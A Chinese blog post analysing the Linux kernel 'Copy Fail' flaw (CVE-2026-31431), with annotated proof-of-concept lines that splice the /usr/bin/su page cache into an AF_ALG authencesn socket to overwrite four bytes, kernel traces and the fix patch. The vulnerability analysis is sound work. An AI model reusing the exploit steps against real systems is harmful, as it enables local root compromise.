news 2026/5/19 7:17:06

CVE-2026-31431 Copy Fail 漏洞分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2026-31431 Copy Fail 漏洞分析

文章目录

  • 简介
  • poc
  • sendmsg
  • splice
  • splice状态下的sendmsg
  • recv
  • 修复补丁
  • 总结
    • AI boom!
  • CVE漏洞库信息
  • 参考

简介

漏洞自linux 4.13-rc1引入

# git show 72548b093ee3:Makefile VERSION = 4 PATCHLEVEL = 13 SUBLEVEL = 0 EXTRAVERSION = -rc1 NAME = Fearless Coyote

借助这个最广为流传的poc查看漏洞原理

  • copy_fail_exp.py

内核构建需启用这些特性:

CONFIG_CRYPTO_USER CRYPTO_USER_API_AEAD CONFIG_CRYPTO_AEAD CRYPTO_AUTHENC

内核代码注释

poc

原poc是AI写的,不易读,经过调整,注释,最关键的部分是这几行:

CVE-2026-31431/poc/copy_fail_exp.py a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) """ ref: crypto/authenc.c: crypto_authenc_extractkeys struct { __u16 rta_len; // 8 (__u16 + __u16 + __be32 前三个成员, 即struct rtattr) __u16 rta_type; // 1 = CRYPTO_AUTHENC_KEYA_PARAM __be32 enckeylen; // 16 u8 authkey[16]; // 16 u8 enckey[16]; // 16 cbc(aes)加密秘钥 }; """ a.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, struct.pack('=HH', 8, 1) + struct.pack('>I16s16s', 16, b'\x00' * 16, b'\x00' * 16)) a.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, 4) # tag的大小 u, _ = a.accept() u.sendmsg([b"A" * 4 + content], # AAD [ (socket.SOL_ALG, socket.ALG_SET_OP, b'\x00' * 4), # 解密行为 (socket.SOL_ALG, socket.ALG_SET_IV, b'\x10'+ b'\x00' * 19), # cbc(aes)初始化向量 (socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, b'\x08'+ b'\x00' * 3) # AAD长度为8 ], socket.MSG_MORE) """ f的文件内容发送给u, 发送的是 ct(已加密待解密) | tag, 因为tag 4字节, 所以一共发送的 CT 是0 """ r, w = os.pipe() os.splice(f, w, index + 4, offset_src=0) # f的page给pipe,这个page是tag os.splice(r, u.fileno(), count=index + 4) # pipe的page传递给sock 两者合并,等于文件f的page给了socket try: u.recv(8 + index) # 收到的是AAD | CT(0) except: 0

调整后代码:

  • copy_fail_exp.py

主要分为3个步骤:

  • sendmsg
    • 发送AAD,aead中的authencesn算法会用到,8字节的AAD会被authencesn当做一种序列号,这个序列号后面会被调整位置
  • splice
    • 把文件的页绑定上来,攻击就是发生在这里,页会被修改,一次修改4字节
  • recv
    • aead真正执行的地方,af_alg的流程中,sendmsg仅仅是保存数据,最后recv时候才加解密

aead用到的几个标签简单解释:

* TX SGL: AAD || CT || Tag(解密需要tag) * | | ^ * | copy | | Create SGL link. * v v | * RX SGL: AAD || CT ----+
  • AAD
    • 用于计算摘要的时候连带一起,当解密时候用来判断AAD是不是最开始的,增加安全性,poc里AAD 8字节
  • CT
    • 已加密 待解密数据,poc脚本里没有传递这个
  • Tag
    • 根据 AAD + 明文 一起生成 加密时:Tag = HMAC(AAD || 明文,解密时候需要带上

sendmsg

第一次sendmsg发生在u.sendmsg([b"A" * 4 + content],这8个字节是AAD。af_alg_sendmsg是AF_ALG套接字发送消息的核心函数,负责将用户态数据拷贝到内核的ctx->tsgl_list中暂存,等待后续recv时执行加解密操作。

crypto/af_alg.c: 937 int af_alg_sendmsg(struct socket *sock, struct msghdr *msg, size_t size, unsigned int ivsize) // 消息拷贝到ctx->tsgl_list->sg中 { struct sock *sk = sock->sk; struct af_alg_ctx *ctx = ask->private; // 一个accept后的sock上下文 struct af_alg_tsgl *sgl; // 一系列scatterlist,打包一系列的page bool enc = false; // 是否加密 poc用的是socket.SOL_ALG, socket.ALG_SET_OP, b'\x00' * 4 解密行为 while (size) { struct scatterlist *sg; size_t len = size; ssize_t plen; /* allocate a new page */ len = min_t(unsigned long, len, af_alg_sndbuf(sk)); err = af_alg_alloc_tsgl(sk); // ctx->tsgl_list空间确保充足 if (err) goto unlock; sgl = list_entry(ctx->tsgl_list.prev, struct af_alg_tsgl, list); // 指向ctx->tsgl_list最后一个 sg = sgl->sg; if (msg->msg_flags & MSG_SPLICE_PAGES) { // splice时候复用page ... 这是下一章节splice用的地方 ... } else { do { struct page *pg; unsigned int i = sgl->cur; plen = min_t(size_t, len, PAGE_SIZE); pg = alloc_page(GFP_KERNEL); sg_assign_page(sg + i, pg); // 保存pg地址到page_link err = memcpy_from_msg( page_address(sg_page(sg + i)), msg, plen); // 拷贝AAD到页中

af_alg_sendmsg在非splice路径下,会通过alloc_page新分配一个物理页,然后使用memcpy_from_msg将用户态的AAD数据拷贝到该页中,并将这个页挂到ctx->tsgl_list链表上。此时ctx->used累加为8(AAD的大小),ctx->more由于设置了MSG_MORE标志而为真,表示后续还有数据要发送。

这一步主要是新申请一个page,存储AAD,放到ctx->tsgl_list列表中,这个列表可以理解为一次accept后对这个socket发送的数据都暂存到这里

splice

splice系统调用也会到sendmsg这里。与普通sendmsg不同,splice路径不会拷贝数据,而是直接传递页引用,这是漏洞利用的关键——文件的缓存页会被直接绑定到AF_ALG套接字的TX SGL中,后续解密时对该页的写入会直接修改文件缓存。

#0 af_alg_sendmsg (sock=0xffff888003a0c000, msg=0xffffc90000753c58, size=4, ivsize=16) at crypto/af_alg.c:939 #1 0xffffffff8157c23e in aead_sendmsg (sock=<optimized out>, msg=<optimized out>, size=<optimized out>) at crypto/algif_aead.c:71 #2 0xffffffff818caacb in sock_sendmsg_nosec (msg=0xffffc90000753c58, sock=0xffff888003a0c000) at net/socket.c:730 #3 __sock_sendmsg (msg=0xffffc90000753c58, sock=0xffff888003a0c000) at net/socket.c:745 #4 sock_sendmsg (sock=sock@entry=0xffff888003a0c000, msg=msg@entry=0xffffc90000753c58) at net/socket.c:768 #5 0xffffffff81387d75 in splice_to_socket (pipe=<optimized out>, out=0xffff888005ebbb00, ppos=<optimized out>, len=4, flags=0) at fs/splice.c:881 #6 0xffffffff813883ec in do_splice_from (flags=82964480, len=4, ppos=0xffffc90000753e38, out=0xffff888005ebbb00, pipe=0xffff888004e39780) at fs/splice.c:933 #7 do_splice (in=in@entry=0xffff888005ebbd00, off_in=off_in@entry=0x0 <fixed_percpu_data>, out=out@entry=0xffff888005ebbb00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=4, flags=<optimized out>, flags@entry=0) at fs/splice.c:1292 #8 0xffffffff81388ae2 in __do_splice (in=in@entry=0xffff888005ebbd00, off_in=off_in@entry=0x0 <fixed_percpu_data>, out=out@entry=0xffff888005ebbb00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=4, flags=flags@entry=0) at fs/splice.c:1370 #9 0xffffffff81388c49 in __do_sys_splice (flags=0, len=4, off_out=0x0 <fixed_percpu_data>, fd_out=<optimized out>, off_in=0x0 <fixed_percpu_data>, fd_in=<optimized out>) at fs/splice.c:1586 #10 __se_sys_splice (flags=0, len=4, off_out=0, fd_out=<optimized out>, off_in=0, fd_in=<optimized out>) at fs/splice.c:1568 #11 __x64_sys_splice (regs=<optimized out>) at fs/splice.c:1568 #12 0xffffffff810042ba in x64_sys_call (regs=regs@entry=0xffffc90000753f58, nr=<optimized out>) at ./arch/x86/include/generated/asm/syscalls_64.h:276 #13 0xffffffff81b3dc29 in do_syscall_x64 (nr=<optimized out>, regs=0xffffc90000753f58) at arch/x86/entry/common.c:51 #14 do_syscall_64 (regs=0xffffc90000753f58, nr=<optimized out>) at arch/x86/entry/common.c:81

af_alg_sendmsg需要msg参数,存储的是send的消息

sendmsg系统调用时候,msg里的内容是用户态的消息的一份拷贝,而借助splice之后,传递给sendmsgmsg里指向的page则没有发生拷贝了,直接传递的是管道page引用。调用栈从__x64_sys_splicedo_splicesplice_to_socketsock_sendmsgaead_sendmsgaf_alg_sendmsg,可以看到splice最终也走到了af_alg_sendmsg

对应poc:os.splice(r, u.fileno(), count=index + 4) # pipe的page传递给sock

fs/splice.c: 791 ssize_t splice_to_socket(struct pipe_inode_info *pipe, struct file *out, loff_t *ppos, size_t len, unsigned int flags) { struct socket *sock = sock_from_file(out); struct bio_vec bvec[16]; struct msghdr msg = {}; pipe_lock(pipe); while (len > 0) { unsigned int head, tail, mask, bc = 0; size_t remain = len; // 剩余需要传送的Byte head = pipe->head; tail = pipe->tail; mask = pipe->ring_size - 1; while (!pipe_empty(head, tail)) { struct pipe_buffer *buf = &pipe->bufs[tail & mask]; size_t seg; if (!buf->len) { tail++; continue; } seg = min_t(size_t, remain, buf->len); // 一次传送的大小 bvec_set_page(&bvec[bc++], buf->page, seg, buf->offset); // bv->bv_page = page; bv->bv_len = len; bv->bv_offset = offset; 这里直接传递的page,而不是拷贝数据 remain -= seg; if (remain == 0 || bc >= ARRAY_SIZE(bvec)) break; tail++; } if (!bc) break; iov_iter_bvec(&msg.msg_iter, ITER_SOURCE, bvec, bc, len - remain); // 后面的信息都组装到msg.msg_iter中 ret = sock_sendmsg(sock, &msg);

splice_to_socket函数将管道中的页通过bvec_set_page直接引用(而非拷贝),然后通过iov_iter_bvec组装到msg.msg_iter中,最终调用sock_sendmsg传递给AF_ALG套接字。这意味着管道中的页——也就是文件缓存页——被直接传递到了af_alg_sendmsg中。

而上一行的splice系统调用:os.splice(f, w, index + 4, offset_src=0) # f的page给pipe,这个page是tag恰恰文件/usr/sbin/su的缓存page交给了管道

#0 filemap_splice_read (in=0xffff888004f38800, ppos=0xffffc90000753e38, pipe=0xffff888004f2be40, len=12, flags=0) at mm/filemap.c:2928 #1 0xffffffff81404b8f in ext4_file_splice_read (in=<optimized out>, ppos=<optimized out>, pipe=<optimized out>, len=<optimized out>, flags=<optimized out>) at fs/ext4/file.c:158 #2 0xffffffff813861a8 in vfs_splice_read (flags=0, len=12, pipe=0xffff888004f2be40, ppos=0xffffc90000753e38, in=0xffff888004f38800) at fs/splice.c:993 #3 vfs_splice_read (in=0xffff888004f38800, ppos=0xffffc90000753e38, pipe=0xffff888004f2be40, len=<optimized out>, flags=0) at fs/splice.c:962 #4 0xffffffff81387fad in splice_file_to_pipe (in=in@entry=0xffff888004f38800, opipe=opipe@entry=0xffff888004f2be40, offset=0xffffc90000753e38, len=len@entry=12, flags=0) at fs/splice.c:1233 #5 0xffffffff81388610 in do_splice (in=in@entry=0xffff888004f38800, off_in=off_in@entry=0xffffc90000753e98, out=out@entry=0xffff888004f38e00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=12, flags=<optimized out>, flags@entry=0) at fs/splice.c:1313 #6 0xffffffff813889a3 in __do_splice (in=in@entry=0xffff888004f38800, off_in=off_in@entry=0x7fff5167d598, out=out@entry=0xffff888004f38e00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=12, flags=flags@entry=0) at fs/splice.c:1370 #7 0xffffffff81388c49 in __do_sys_splice (flags=0, len=12, off_out=0x0 <fixed_percpu_data>, fd_out=<optimized out>, off_in=0x7fff5167d598, fd_in=<optimized out>) at fs/splice.c:1586 #8 __se_sys_splice (flags=0, len=12, off_out=0, fd_out=<optimized out>, off_in=140734559147416, fd_in=<optimized out>) at fs/splice.c:1568 #9 __x64_sys_splice (regs=<optimized out>) at fs/splice.c:1568 #10 0xffffffff810042ba in x64_sys_call (regs=regs@entry=0xffffc90000753f58, nr=<optimized out>) at ./arch/x86/include/generated/asm/syscalls_64.h:276

第一个splice调用os.splice(f, w, index + 4, offset_src=0)通过filemap_splice_read(对于ext4文件系统则是ext4_file_splice_read)将文件/usr/bin/su的缓存页读取到管道中。这里的关键是filemap_splice_read不会拷贝文件内容到新页,而是直接将文件页缓存(page cache)的引用放入管道,因此管道中持有的是su文件在页缓存中的原始页。

两行splice系统调用,把文件的page交给了sendmsg

splice状态下的sendmsg

在af_alg_sendmsg函数中,专门针对splice情况特殊处理,不再拷贝page了,直接把从文件缓冲的page再次直接引用。当msg->msg_flags中包含MSG_SPLICE_PAGES标志时,af_alg_sendmsgextract_iter_to_sg分支,将msg->msg_iter中的页引用直接添加到ctx->tsgl_list中,而不是分配新页并拷贝数据。

crypto/af_alg.c: 937 int af_alg_sendmsg(struct socket *sock, struct msghdr *msg, size_t size, unsigned int ivsize) // 消息拷贝到ctx->tsgl_list->sg中 { struct sock *sk = sock->sk; struct alg_sock *ask = alg_sk(sk); struct af_alg_ctx *ctx = ask->private; // 一个accept后的sock上下文 struct af_alg_tsgl *sgl; // 一系列scatterlist,打包一系列的page while (size) { struct scatterlist *sg; size_t len = size; ssize_t plen; /* allocate a new page */ len = min_t(unsigned long, len, af_alg_sndbuf(sk)); sgl = list_entry(ctx->tsgl_list.prev, struct af_alg_tsgl, list); // 指向ctx->tsgl_list最后一个 sg = sgl->sg; if (msg->msg_flags & MSG_SPLICE_PAGES) { // splice时候复用page struct sg_table sgtable = { .sgl = sg, .nents = sgl->cur, .orig_nents = sgl->cur, }; plen = extract_iter_to_sg(&msg->msg_iter, len, &sgtable, MAX_SGL_ENTS - sgl->cur, 0); // msg->msg_iter里的page放到ctx->tsgl_list中

extract_iter_to_sgmsg->msg_iter中引用的页(即来自管道的文件缓存页)直接添加到ctx->tsgl_list的scatterlist中,然后通过get_page增加引用计数。这里没有发生任何数据拷贝,ctx->tsgl_list中的第二个scatterlist条目直接指向了/usr/bin/su文件的页缓存。

所以到这里,文件缓存page从管道来到了af_alg模块ctx->tsgl_list

在第一次处理4直接的过程中,ctx->tsgl_list一共有两个page

  • 8字节的AAD,来自u.sendmsg([b"A" * 4 + content], # AAD,这一个page是拷贝的page
  • 4字节的文件内容,来自os.splice(f, w, index + 4, offset_src=0); os.splice(r, u.fileno(), count=index + 4),来自文件的缓存page,直接引用,没有拷贝

recv

接收的时候先准备做加解密的内存空间。_aead_recvmsg是AEAD解密的核心入口,它需要准备RX SGL(接收缓冲区)和TX SGL(发送缓冲区,即之前sendmsg/splice暂存的数据),然后调用底层crypto API执行解密。漏洞就发生在RX SGL的构建过程中——"原地优化"使得src和dst指向了同一组SGL。

第一块空间来自于recv时用户态提供的空间,即u.recv(8 + index)

static int _aead_recvmsg(struct socket *sock, struct msghdr *msg, size_t ignored, int flags) { /* convert iovecs of output buffers into RX SGL */ err = af_alg_get_rsgl(sk, msg, flags, areq, outlen, &usedpages); // 从msg中提取page到areq->rsgl_list,这里的msg是接收缓冲区 最大提取字节数 maxsize = outlen = 8,只占用8字节

af_alg_get_rsgl从用户态recv缓冲区(msg)中提取页到areq->rsgl_list(即RX SGL)。此时outlen = used - as = 12 - 4 = 8used = ctx->used = 12,即8字节AAD + 4字节tag;as = ctx->aead_assoclen = 4,但实际AAD长度为8,这里as是控制消息中设置的ALG_SET_AEAD_ASSOCLEN值),所以RX SGL最多只映射8字节的用户空间。这8字节对应AAD(8字节),CT长度为0。

不过接下来,漏洞commit引入了下面的代码:

“原地优化”,aead需要在rx的缓冲区后面多写入一点点东西,写完后撤回,所以在rx后面跟了一个tag的页面,现在rx和tx指向的页面都一样了,rx中也有的一个tag页面来自于文件su的缓存。具体流程是:先将TX SGL中的AAD||CT拷贝到RX SGL(crypto_aead_copy_sgl),然后从TX SGL中提取tag页到areq->tsglaf_alg_pull_tsgl),最后将tag页链接到RX SGL末尾(sg_chain)。这样RX SGL就变成了AAD||CT||Tag的完整布局,且rsgl_src被设置为RX SGL本身,导致后续aead_request_set_crypt中src和dst指向同一组SGL。

/* Use the RX SGL as source (and destination) for crypto op. */ rsgl_src = areq->first_rsgl.sgl.sgt.sgl; if (ctx->enc) { ...加密相关 poc是解密... } else { /* * Decryption operation - To achieve an in-place cipher * operation, the following SGL structure is used: * * TX SGL: AAD || CT || Tag(解密需要tag AAD|CT拷贝到Rx Tag使用sgl引用) * | | ^ * | copy | | Create SGL link. * v v | * RX SGL: AAD || CT ----+ */ /* Copy AAD || CT to RX SGL buffer for in-place operation. */ err = crypto_aead_copy_sgl(null_tfm, tsgl_src, // tsgl_src指向ctx->tsgl_list areq->first_rsgl.sgl.sgt.sgl, outlen); // memcpy(areq->first_rsgl.sgl.sgt.sgl, tsgl_src, outlen); outlen = used - tag的大小 拷贝tx的AAD | CT到rx中 if (err) goto free; /* Create TX SGL for tag and chain it to RX SGL. */ areq->tsgl_entries = af_alg_count_tsgl(sk, processed, processed - as); // 计算需要多少scatterlist条目来存储tag数据 if (!areq->tsgl_entries) areq->tsgl_entries = 1; areq->tsgl = sock_kmalloc(sk, array_size(sizeof(*areq->tsgl), areq->tsgl_entries), GFP_KERNEL); // 分配scatterlist数组 tx sgl if (!areq->tsgl) { err = -ENOMEM; goto free; } sg_init_table(areq->tsgl, areq->tsgl_entries); // 现在只申请了tag的空间,开头的aad借用rx的sgl,到时候src/dst都是相同的page /* Release TX SGL, except for tag data and reassign tag data. */ af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as); // 从ctx->tsgl_list提取tag所在page转移到areq->tsgl ctx->tsgl_list取完了释放 /* chain the areq TX SGL holding the tag with RX SGL */ if (usedpages) { // tag page接在rx list后 /* RX SGL present */ struct af_alg_sgl *sgl_prev = &areq->last_rsgl->sgl; struct scatterlist *sg = sgl_prev->sgt.sgl; sg_unmark_end(sg + sgl_prev->sgt.nents - 1); // 移除前一个scatterlist的结束标记 sg_chain(sg, sgl_prev->sgt.nents + 1, areq->tsgl); // 将tag的scatterlist链接到RX SGL末尾 *(areq->last_rsgl->sgl->sgt.sgl + 1) } else /* no RX SGL present (e.g. authentication only) */ rsgl_src = areq->tsgl; // 没有RX SGL,直接使用tag的scatterlist作为源 } ...... err = crypto_wait_req(ctx->enc ? crypto_aead_encrypt(&areq->cra_u.aead_req) : crypto_aead_decrypt(&areq->cra_u.aead_req), &ctx->wait); // 加密/解密 }

上述代码的关键步骤:

  • rsgl_src = areq->first_rsgl.sgl.sgt.sgl:将源SGL设置为RX SGL
  • crypto_aead_copy_sgl(null_tfm, tsgl_src, areq->first_rsgl.sgl.sgt.sgl, outlen):将TX SGL中的AAD||CT(共8字节)拷贝到RX SGL中
  • af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as):从ctx->tsgl_list中提取tag所在的页(即su文件的缓存页)到areq->tsgl中,processed = 12processed - as = 8,表示从偏移8开始提取
  • sg_chain(sg, sgl_prev->sgt.nents + 1, areq->tsgl):将tag页链接到RX SGL末尾,此时RX SGL = AAD||CT||Tag(文件缓存页)
  • aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src, areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv):设置crypto请求,src和dst都指向RX SGL,used = 4(扣除AAD后的加密数据长度)

最终导致在这一行中,AAD的低4字节写入到了tag页中
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // 将序列号后4字节写到数据末尾)

crypto/authencesn.c: 267 static int crypto_authenc_esn_decrypt(struct aead_request *req) { unsigned int assoclen = req->assoclen; // AAD大小 unsigned int cryptlen = req->cryptlen; // used 已加密的长度,来源于文件f,需要解密 struct scatterlist *dst = req->dst; u32 tmp[2]; /* Move high-order bits of sequence number to the end. */ scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // 读取8字节序列号,u.sendmsg([b"A" * 4 + content] scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 将序列号高位(前4字节)写到偏移4位置 scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // 将序列号后4字节写到数据末尾

crypto_authenc_esn_decrypt是authencesn算法的解密函数,它需要将ESN(Extended Sequence Number)的高位移动到数据末尾。由于"原地优化"导致req->src == req->dst,。然后scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)在dst(即RX SGL)的偏移assoclen + cryptlen = 8 + 0 = 8处写入4字节,而偏移8恰好是tag页的位置——也就是/usr/bin/su文件的缓存页。写入的内容是tmp + 1,即AAD的低4字节。

tag页是su文件的缓存:

os.splice(f, w, index + 4, offset_src=0) # f的page给pipe,这个page是tag os.splice(r, u.fileno(), count=index + 4) # pipe的page传递给sock 两者合并,等于文件f的page给了socket

AAD的低4字节是需要覆盖su的新指令:

u.sendmsg([b"A" * 4 + content], # AAD

修复补丁

补丁961cfa271a918ad4ae452420e7c303149002875b撤销了72548b093ee3(“crypto: algif_aead - copy AAD from src to dst”)提交。为每次请求分配完整的TX SGL(包含AAD||CT||Tag),使用memcpy_sglist将AAD从TX SGL拷贝到RX SGL,并确保aead_request_set_crypt中src和dst分别指向不同的SGL。

@@ -154,23 +152,24 @@ static int _aead_recvmsg(struct socket *sock, struct msghdr *msg, outlen -= less; } + /* + * Create a per request TX SGL for this request which tracks the + * SG entries from the global TX SGL. + */ processed = used + ctx->aead_assoclen; - list_for_each_entry_safe(tsgl, tmp, &ctx->tsgl_list, list) { - for (i = 0; i < tsgl->cur; i++) { - struct scatterlist *process_sg = tsgl->sg + i; - - if (!(process_sg->length) || !sg_page(process_sg)) - continue; - tsgl_src = process_sg; - break; - } - if (tsgl_src) - break; - } - if (processed && !tsgl_src) { - err = -EFAULT; + areq->tsgl_entries = af_alg_count_tsgl(sk, processed); // tsgl需要的大小是完整的AAD|CT|Tag了(错误补丁只申请Tag的大小) + if (!areq->tsgl_entries) + areq->tsgl_entries = 1; + areq->tsgl = sock_kmalloc(sk, array_size(sizeof(*areq->tsgl), + areq->tsgl_entries), + GFP_KERNEL); + if (!areq->tsgl) { + err = -ENOMEM; goto free; } + sg_init_table(areq->tsgl, areq->tsgl_entries); + af_alg_pull_tsgl(sk, processed, areq->tsgl); // 从ctx->tsgl_list中提取所有消息(错误补丁中只拷贝了Tag部分) + tsgl_src = areq->tsgl;

第一处修改:修复后的代码为每次请求分配完整的TX SGL(af_alg_count_tsgl(sk, processed)计算的是AAD||CT||Tag全部的scatterlist条目数,而非漏洞版本中只计算Tag部分af_alg_count_tsgl(sk, processed, processed - as)),然后通过af_alg_pull_tsglctx->tsgl_list中的所有数据(包括AAD、CT和Tag)提取到areq->tsgl中,并将tsgl_src指向areq->tsgl而非RX SGL。

@@ -179,75 +178,15 @@ static int _aead_recvmsg(struct socket *sock, struct msghdr *msg, * when user space uses an in-place cipher operation, the kernel * will copy the data as it does not see whether such in-place operation * is initiated. - * - ...... - rsgl_src = areq->tsgl; - } + memcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen); // tx的AAD拷贝到RX中 /* Initialize the crypto operation */ - aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src, + aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, areq->first_rsgl.sgl.sg, used, ctx->iv); // tsgl_sr指向的是完整申请的areq->tsgl,src/dst不再是相同的sgl

第二处修改:修复后的代码使用memcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen)将TX SGL中的AAD拷贝到RX SGL中,并在aead_request_set_crypt中将src设置为tsgl_src(指向areq->tsgl,包含完整的AAD||CT||Tag),dst设置为areq->first_rsgl.sgl.sg(RX SGL)。

总结

漏洞的根因是commit72548b093ee3引入的"原地优化":在_aead_recvmsg解密路径中,将rsgl_src设置为RX SGL本身,使得aead_request_set_crypt中src和dst指向同一组SGL。这导致crypto_authenc_esn_decryptreq->src == req->dst,随后authencesn.c:scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)直接向dst(RX SGL)写入数据。而RX SGL末尾链接的tag页是通过splice来自文件的页缓存页,写入操作直接修改了文件缓存,实现了对任意可读文件的4字节覆盖。

本次漏洞的poc代码也非常简练、高效,最简单的代码即实现漏洞利用,解密不要求解密成功,漏洞利用恰好每次写入到文件缓存的4个字节位置。

  • 2011年 authencesn 功能上线 ipsec协议相关
  • 2014年 AF_ALG 用户态调用内核加密子系统上线
  • 2015年 af_alg, aead上线,支持splice
  • 2017年 aead 原地优化补丁上线

AI boom!

原文:

  • Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.

本次漏洞是韩国人李泰阳发现,他首先是发现af_alg, aead结合splice会将仅可读的page缓存引入到加密子系统,接下来他借助AI漏洞工具Xint输入:

This is the linux crypto/ subsystem. Please examine all codepaths reachable from userspace syscalls. Note one key observation: splice() can deliver page-cache references of read-only files (including setuid binaries) to crypto TX scatterlists.
这是 Linux 的加密/子系统。请检查所有可从用户空间系统调用访问的代码路径。注意一个关键观察:splice() 可以将只读文件(包括 setuid 二进制)的页面缓存引用传递给加密 TX 散点表。

一个小时后,boom,该漏洞被发现!

CVE漏洞库信息

  • openanolis
  • openatom
  • 阿里云漏洞库

参考

  • Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.
  • 鹅厂架构师: 一个让 Linus Torvalds “不明觉赞” 的内核优化与修复历程
  • CVE-2026-31431: authencesn Has Been Writing Those Four Bytes for Nine Years. The Patch Is Not in authencesn.
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/19 7:16:04

MSP430L092 0.9V超低功耗MCU:物联网设备微型化与长续航的终极方案

1. 项目概述&#xff1a;为什么0.9V工作电压是微型化与长续航的关键在物联网设备、可穿戴传感器、便携式医疗仪器以及智能家居控制器这些领域里&#xff0c;工程师们每天都在和两个“魔鬼”做斗争&#xff1a;一个是设备的物理尺寸&#xff0c;另一个是电池的续航能力。用户希望…

作者头像 李华
网站建设 2026/5/19 7:08:26

第12期:综合优化与结业项目(工程落地与量产调优)

一、本期课程简介本期为整套TinyML嵌入式实战课程的收官总结阶段&#xff0c;旨在帮助学员打通技术壁垒&#xff0c;完成从零散知识点积累到系统化工程落地能力的蜕变。课程将全面梳理前序所有实战项目技术栈&#xff0c;涵盖传感器数据采集、数据集预处理、神经网络模型轻量化…

作者头像 李华
网站建设 2026/5/19 7:08:07

用 Skills 驱动 AI 开发:Matt Pocock 工作流在 DevOps 场景里的落地实践

AI 编程助手已经不只是“帮我写一段代码”的工具了。真正用进日常开发后&#xff0c;我们很快会遇到几个熟悉的问题&#xff1a; 需求还没说清楚&#xff0c;Agent 已经开始写代码。代码能生成&#xff0c;但跑不起来。Bug 修复像猜谜&#xff0c;改了几轮还是不确定根因。项目…

作者头像 李华
网站建设 2026/5/19 7:07:03

手把手教你用EG2104驱动MOS管:从自举电容计算到PCB布局避坑

从理论到实战&#xff1a;EG2104栅极驱动芯片的深度应用指南 在电机驱动、逆变器和开关电源设计中&#xff0c;栅极驱动芯片的选择与使用往往决定了整个系统的可靠性和效率。EG2104作为一款高性能半桥栅极驱动芯片&#xff0c;凭借其自举升压功能和强大的驱动能力&#xff0c;成…

作者头像 李华
网站建设 2026/5/19 7:05:01

Linux进程调度器原理与实战:从CFS到性能调优

1. 项目概述&#xff1a;为什么我们要关心Linux进程调度&#xff1f;如果你写过几行代码&#xff0c;或者用过Linux服务器&#xff0c;那你一定听过“进程”和“线程”这两个词。在操作系统眼里&#xff0c;它们都是需要被CPU执行的“任务”。但CPU就那么一两个核心&#xff0c…

作者头像 李华
网站建设 2026/5/19 7:04:08

Linux文本管道效率稳定性治理方法

Linux文本管道效率稳定性治理方法这是一篇面向中级 Linux 使用者的技术文章&#xff0c;主题聚焦在文本管道效率&#xff0c;重点讨论管道组合、文本过滤和执行开销。在真实生产环境中&#xff0c;文本管道效率相关问题往往不会以单一错误形式出现&#xff0c;而是混杂在日志、…

作者头像 李华